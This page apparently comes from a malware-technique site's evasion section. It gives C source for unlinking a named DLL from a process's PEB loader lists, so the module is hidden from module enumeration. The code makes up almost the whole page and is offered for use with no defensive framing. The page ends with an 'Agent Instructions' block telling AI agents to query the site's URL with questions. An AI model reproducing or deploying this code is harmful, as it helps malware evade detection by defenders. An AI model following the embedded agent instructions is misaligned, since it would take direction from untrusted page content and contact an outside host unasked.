# Unlink DLL from process

```
VOID RemoveEntryList(LIST_ENTRY* Entry)
{
	if (Entry != NULL) {
		PLIST_ENTRY OldFlink;
		PLIST_ENTRY OldBlink;
		OldFlink = Entry->Flink;
		OldBlink = Entry->Blink;
		OldFlink->Blink = OldBlink;
		OldBlink->Flink = OldFlink;
		Entry->Flink = NULL;
		Entry->Blink = NULL;
	}
}

BOOL RemoveDllFromPebW(_In_ LPCWSTR lpModuleName) {
	PPEB Peb = GetPeb();
	PLDR_MODULE Module = NULL;

	PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList;
	PLIST_ENTRY Next = Head->Flink;
	Module = (PLDR_MODULE)((PBYTE)Next - 16);

	while (Next != Head)
	{
		Module = (PLDR_MODULE)((PBYTE)Next - 16);
		if (Module->BaseDllName.Buffer != NULL)
		{
			if (StringCompareW(lpModuleName, Module->BaseDllName.Buffer) == 0)
			{
				RemoveEntryList(&Module->InLoadOrderModuleList);
				RemoveEntryList(&Module->InInitializationOrderModuleList);
				RemoveEntryList(&Module->InMemoryOrderModuleList);
				RemoveEntryList(&Module->HashTableEntry);

				return TRUE;
			}
		}
		Next = Next->Flink;
	}

	return FALSE;
}

BOOL RemoveDllFromPebA(_In_ LPCSTR lpModuleName) {
	PPEB Peb = GetPeb();
	PLDR_MODULE Module = NULL;
	CHAR wDllName[64] = { 0 };
	PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList;
	PLIST_ENTRY Next = Head->Flink;
	Module = (PLDR_MODULE)((PBYTE)Next - 16);

	while (Next != Head)
	{
		Module = (PLDR_MODULE)((PBYTE)Next - 16);
		if (Module->BaseDllName.Buffer != NULL)
		{
			ZeroMemory(wDllName, sizeof(wDllName));
			WCharStringToCharString(wDllName, Module->BaseDllName.Buffer, 64);
			if (StringCompareA(lpModuleName, wDllName) == 0)
			{
				RemoveEntryList(&Module->InLoadOrderModuleList);
				RemoveEntryList(&Module->InInitializationOrderModuleList);
				RemoveEntryList(&Module->InMemoryOrderModuleList);
				RemoveEntryList(&Module->HashTableEntry);

				return TRUE;
			}
		}
		Next = Next->Flink;
	}

	return FALSE;
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://malwaresourcecode.com/home/evasion/unlink-dll-from-process.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
